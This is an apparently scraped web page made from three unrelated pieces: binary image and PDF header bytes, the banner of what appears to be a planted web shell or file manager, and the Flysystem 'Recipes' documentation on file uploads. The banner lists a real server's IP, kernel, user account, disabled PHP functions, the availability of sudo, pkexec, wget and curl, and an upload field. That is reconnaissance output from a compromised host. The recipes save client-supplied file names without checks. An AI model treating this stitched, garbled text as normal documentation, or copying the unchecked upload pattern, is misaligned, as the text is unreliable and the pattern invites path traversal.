ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.129 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/_api/vendor/league/flysystem/docs/ |
Upload File : |
--- layout: default permalink: /recipes/ title: Recipes --- # Recipes Flysystem Recipes describe common tasks and/or describe prefered ways to deal with a problem. Please consider contributing a recipe. Contributions are very welcome! ## Handling uploads ### Plain PHP Upload ~~~ php $stream = fopen($_FILES[$uploadname]['tmp_name'], 'r+'); $filesystem->writeStream('uploads/'.$_FILES[$uploadname]['name'], $stream); fclose($stream); ~~~ ### Symfony Upload ~~~ php /** @var Symfony\Component\HttpFoundation\Request $request */ /** @var Symfony\Component\HttpFoundation\File\UploadedFile $file */ $file = $request->files->get($uploadname); if ($file->isValid()) { $stream = fopen($file->getRealPath(), 'r+'); $filesystem->writeStream('uploads/'.$file->getClientOriginalName(), $stream); fclose($stream); } ~~~ ### Laravel 5 - DI ~~~ php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Routing\Controller; class UploadController extends Controller { /** * Upload a file. * * @param Request $request * @return Response */ public function store(Request $request, FilesystemInterface $filesystem) { $file = $request->file('upload'); $stream = fopen($file->getRealPath(), 'r+'); $filesystem->writeStream('uploads/'.$file->getClientOriginalName(), $stream); fclose($stream); } } ~~~ ### Laravel 4/5 - Static-Access Proxy ~~~ php $file = Request::file($uploadname); if ($file->isValid()) { $stream = fopen($file->getRealPath(), 'r+'); $filesystem->writeStream('uploads/'.$file->getClientOriginalName(), $stream); fclose($stream); } ~~~ ### Yii 2 Upload ~~~ php <?php namespace app\controllers; use yii\web\Controller; use yii\web\UploadedFile; class FileController extends Controller { public function actionUpload() { $file = UploadedFile::getInstanceByName($uploadname); if ($file->error === UPLOAD_ERR_OK) { $stream = fopen($file->tempName, 'r+'); $filesystem->writeStream('uploads/'.$file->name, $stream); fclose($stream); } } } ~~~